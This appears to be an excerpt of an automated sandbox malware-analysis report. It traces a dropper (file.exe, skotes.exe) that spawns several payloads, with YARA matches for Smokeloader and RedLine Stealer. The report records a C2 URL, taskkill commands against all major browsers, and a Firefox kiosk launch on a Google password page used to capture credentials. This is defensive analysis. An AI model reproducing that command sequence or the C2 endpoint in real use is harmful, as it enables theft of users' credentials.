Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_3_04D0E2C9 12_3_04D0E2C9
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_3_04D14AEE 12_3_04D14AEE
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_3_04D0AA90 12_3_04D0AA90
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_3_04D15219 12_3_04D15219
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_3_04D04350 12_3_04D04350
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_00402EC0 12_2_00402EC0
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_00404F50 12_2_00404F50
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_00410900 12_2_00410900
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_0041A306 12_2_0041A306
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_0040EB87 12_2_0040EB87
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_00403D20 12_2_00403D20
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_00415E19 12_2_00415E19
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_0040EEC9 12_2_0040EEC9
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_004156EE 12_2_004156EE
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_0040B690 12_2_0040B690
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_1000E184 12_2_1000E184
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_100102A0 12_2_100102A0
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_00A4F4A7 12_2_00A4F4A7
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_00AA8E03 12_2_00AA8E03
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_00AAC94F 12_2_00AAC94F
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_0099AC85 12_2_0099AC85
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_0098EAB4 12_2_0098EAB4
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_008EC6EC 12_2_008EC6EC
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_008EC006 12_2_008EC006
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_0090041E 12_2_0090041E
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_0099060C 12_2_0099060C
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_00993C3B 12_2_00993C3B
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_00983228 12_2_00983228
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_00917E22 12_2_00917E22
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_0098B447 12_2_0098B447
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_0098999C 12_2_0098999C
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_00998DBB 12_2_00998DBB
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_008259AA 12_2_008259AA
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_0082F7B6 12_2_0082F7B6
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_0097DBA1 12_2_0097DBA1
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_00987DC6 12_2_00987DC6
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_00986D16 12_2_00986D16
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_00995730 12_2_00995730
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_0099732B 12_2_0099732B
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_00984753 12_2_00984753
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_0098CF44 12_2_0098CF44
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_04B451B7 12_2_04B451B7
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_04B4EDEE 12_2_04B4EDEE
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_04B43F87 12_2_04B43F87
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_04B4B8F7 12_2_04B4B8F7
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_04B451B7 12_2_04B451B7
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_04B4F130 12_2_04B4F130
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_04B55955 12_2_04B55955
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_04B50B67 12_2_04B50B67
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe 8A331CA76C2B919F30406FF66A92DB0E27AE6AF9725749A80959B42656871536
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: String function: 00BEDF80 appears 82 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: String function: 00BED942 appears 86 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: String function: 00BED663 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: String function: 00BED64E appears 79 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: String function: 00BE7A00 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: String function: 00C08E10 appears 47 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: String function: 00BE80C0 appears 393 times
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: String function: 04B4A9C7 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: String function: 04D09B60 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: String function: 0040A760 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: String function: 10003160 appears 34 times
Source: C:\Users\user\Desktop\file.exe Code function: String function: 00F580C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: String function: 00414A30 appears 76 times
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: String function: 0023B97D appears 40 times
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: String function: 0022D9E0 appears 102 times
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: String function: 00408000 appears 52 times
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: String function: 00236C0B appears 42 times
PE file contains executable resources (Code or Archives)
Source: random[1].exe0.6.dr Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: f30149f036.exe.6.dr Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Yara signature match
Source: 0000000C.00000002.3486058612.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000000C.00000002.3478917233.0000000000F4D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: random[1].exe.6.dr Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: random[1].exe.6.dr Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: d0d9725343.exe.6.dr Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: d0d9725343.exe.6.dr Static PE information: Section: .bss ZLIB complexity 1.0003383629931388
Source: random[1].exe1.6.dr Static PE information: Section: ZLIB complexity 0.9974927011245674
Source: random[1].exe1.6.dr Static PE information: Section: hkjfghfg ZLIB complexity 0.9947554758308157
Source: 176986cc9c.exe.6.dr Static PE information: Section: ZLIB complexity 0.9974927011245674
Source: 176986cc9c.exe.6.dr Static PE information: Section: hkjfghfg ZLIB complexity 0.9947554758308157
Source: random[1].exe2.6.dr Static PE information: Section: jkfvjajp ZLIB complexity 0.9949263982704869
Source: f570600774.exe.6.dr Static PE information: Section: jkfvjajp ZLIB complexity 0.9949263982704869
Source: random[1].exe1.6.dr Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 176986cc9c.exe.6.dr Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@55/31@28/14
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_00402A20 VirtualProtect,GetLastError,FormatMessageA,LocalAlloc,OutputDebugStringA,LocalFree,LocalFree,LocalFree, 12_2_00402A20
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_00F4DBC6 CreateToolhelp32Snapshot,Module32First, 12_2_00F4DBC6
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 11_2_00436F90 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW, 11_2_00436F90
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1912:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5896:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4888:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1320:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5536:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5552:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4072:120:WilError_03
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\abc3bc1985 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Command line argument: emp 12_2_00408770
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Command line argument: mixtwo 12_2_00408770
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Users\user\Desktop\file.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: d0d9725343.exe, 0000000B.00000003.2928546086.00000000037C8000.00000004.00000800.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.2928725926.0000000003875000.00000004.00000800.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.2904293300.00000000037C8000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106760006.00000000057BB000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106393177.00000000057DA000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3139507752.00000000057CD000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3246129095.00000000053EF000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3245145114.0000000005408000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3276845733.0000000005409000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe ReversingLabs: Detection: 55%
Source: f30149f036.exe String found in binary or memory: /add?substr=
Source: f30149f036.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: f30149f036.exe String found in binary or memory: 80.82.65.70/add?substr=mixtwo&s=three&sub=emp
Source: C:\Users\user\Desktop\file.exe File read: C:\Users\user\Desktop\file.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe "C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe"
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Process created: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe "C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe"
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Process created: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe "C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe "C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe "C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe "C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe "C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe "C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe"
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe "C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2352 -parentBuildID 20230927232528 -prefsHandle 2288 -prefMapHandle 2284 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {745b1038-6b91-4698-a3f0-64664cce277e} 1892 "\\.\pipe\gecko-crash-server-pipe.1892" 2149b56f910 socket
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe "C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4360 -parentBuildID 20230927232528 -prefsHandle 4316 -prefMapHandle 4328 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {5763664d-1f38-4c19-9998-65a89666960a} 1892 "\\.\pipe\gecko-crash-server-pipe.1892" 214adcdc110 rdd
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe "C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe"
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe "C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe "C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe "C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe "C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe "C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe "C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Process created: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe "C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Process created: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe "C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2352 -parentBuildID 20230927232528 -prefsHandle 2288 -prefMapHandle 2284 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {745b1038-6b91-4698-a3f0-64664cce277e} 1892 "\\.\pipe\gecko-crash-server-pipe.1892" 2149b56f910 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4360 -parentBuildID 20230927232528 -prefsHandle 4316 -prefMapHandle 4328 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {5763664d-1f38-4c19-9998-65a89666960a} 1892 "\\.\pipe\gecko-crash-server-pipe.1892" 214adcdc110 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\Desktop\file.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mstask.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dui70.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: duser.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: chartv.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: atlthunk.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wtsapi32.dll Jump to behavior
